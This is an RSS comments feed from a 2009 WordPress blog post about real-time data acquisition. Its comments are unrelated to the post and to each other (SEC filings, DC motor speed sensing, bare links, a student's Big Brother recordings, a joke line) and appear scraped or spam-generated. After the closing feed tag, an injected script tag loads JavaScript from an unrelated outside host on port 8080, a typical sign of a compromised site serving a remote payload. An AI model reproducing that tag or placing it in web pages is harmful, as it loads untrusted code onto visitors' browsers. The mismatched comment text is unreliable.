<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Accurate Real-time Data Acquisitions Works for Environmental Catalyst Technology</title>
	<atom:link href="http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology/feed" rel="self" type="application/rss+xml" />
	<link>http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology</link>
	<description></description>
	<lastBuildDate>Thu, 22 Apr 2010 05:41:25 -0500</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Rui H</title>
		<link>http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology/comment-page-1#comment-414</link>
		<dc:creator>Rui H</dc:creator>
		<pubDate>Mon, 17 Aug 2009 03:40:28 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology#comment-414</guid>
		<description>If you look in the S4 disclosures, you should be able to find the information you are looking for.  These are available on the SEC.gov website, but you&#039;ll need to know which company to look for.

Good luck.</description>
		<content:encoded><![CDATA[<p>If you look in the S4 disclosures, you should be able to find the information you are looking for.  These are available on the SEC.gov website, but you&#039;ll need to know which company to look for.</p>
<p>Good luck.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: archana k</title>
		<link>http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology/comment-page-1#comment-400</link>
		<dc:creator>archana k</dc:creator>
		<pubDate>Sun, 16 Aug 2009 23:47:23 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology#comment-400</guid>
		<description>Not sure what you&#039;re asking here.  One way of controlling a DC motor would be to monitor the speed with a slotted disc attached to the shaft.  Light is shown through the slots and a counter compares the pulses to a standard timer to calculate speed of rotation.</description>
		<content:encoded><![CDATA[<p>Not sure what you&#039;re asking here.  One way of controlling a DC motor would be to monitor the speed with a slotted disc attached to the shaft.  Light is shown through the slots and a counter compares the pulses to a standard timer to calculate speed of rotation.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: nocolorblue</title>
		<link>http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology/comment-page-1#comment-430</link>
		<dc:creator>nocolorblue</dc:creator>
		<pubDate>Sun, 16 Aug 2009 21:55:52 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology#comment-430</guid>
		<description>http://www.informatica.com/news/press_releases/2005/11282005a_gartner.htm
http://www.taborcommunications.com/dsstar/04/0713/108491.html
http://www.tdwi.org/research/display.aspx?id=7194&amp;t=y</description>
		<content:encoded><![CDATA[<p>http://www.informatica.com/news/press_releases/2005/11282005a_gartner.htm<br />
http://www.taborcommunications.com/dsstar/04/0713/108491.html<br />
http://www.tdwi.org/research/display.aspx?id=7194&amp;t=y</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: lm</title>
		<link>http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology/comment-page-1#comment-435</link>
		<dc:creator>lm</dc:creator>
		<pubDate>Sun, 16 Aug 2009 19:10:06 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology#comment-435</guid>
		<description>&quot;an investigation into how stress affects language use of males and females&quot;
im collecting data by recording big brother and then i will make a transcript of the data i find useful; my teacher told me to record everynight for a fortnight so as to get enough data to analyse and then the data will be transcribed to make approximately 2 A4 pages</description>
		<content:encoded><![CDATA[<p>&quot;an investigation into how stress affects language use of males and females&quot;<br />
im collecting data by recording big brother and then i will make a transcript of the data i find useful; my teacher told me to record everynight for a fortnight so as to get enough data to analyse and then the data will be transcribed to make approximately 2 A4 pages</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Charlie</title>
		<link>http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology/comment-page-1#comment-396</link>
		<dc:creator>Charlie</dc:creator>
		<pubDate>Sun, 16 Aug 2009 16:59:47 +0000</pubDate>
		<guid isPermaLink="false">http://acquiree.info/data-acquisition/accurate-real-time-data-acquisitions-works-for-environmental-catalyst-technology#comment-396</guid>
		<description>I&#039;m on a boat.</description>
		<content:encoded><![CDATA[<p>I&#039;m on a boat.</p>
]]></content:encoded>
	</item>
</channel>
</rss>



<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></script>
<!--70f30cb1c91cb389cf52a072dc1de0cc-->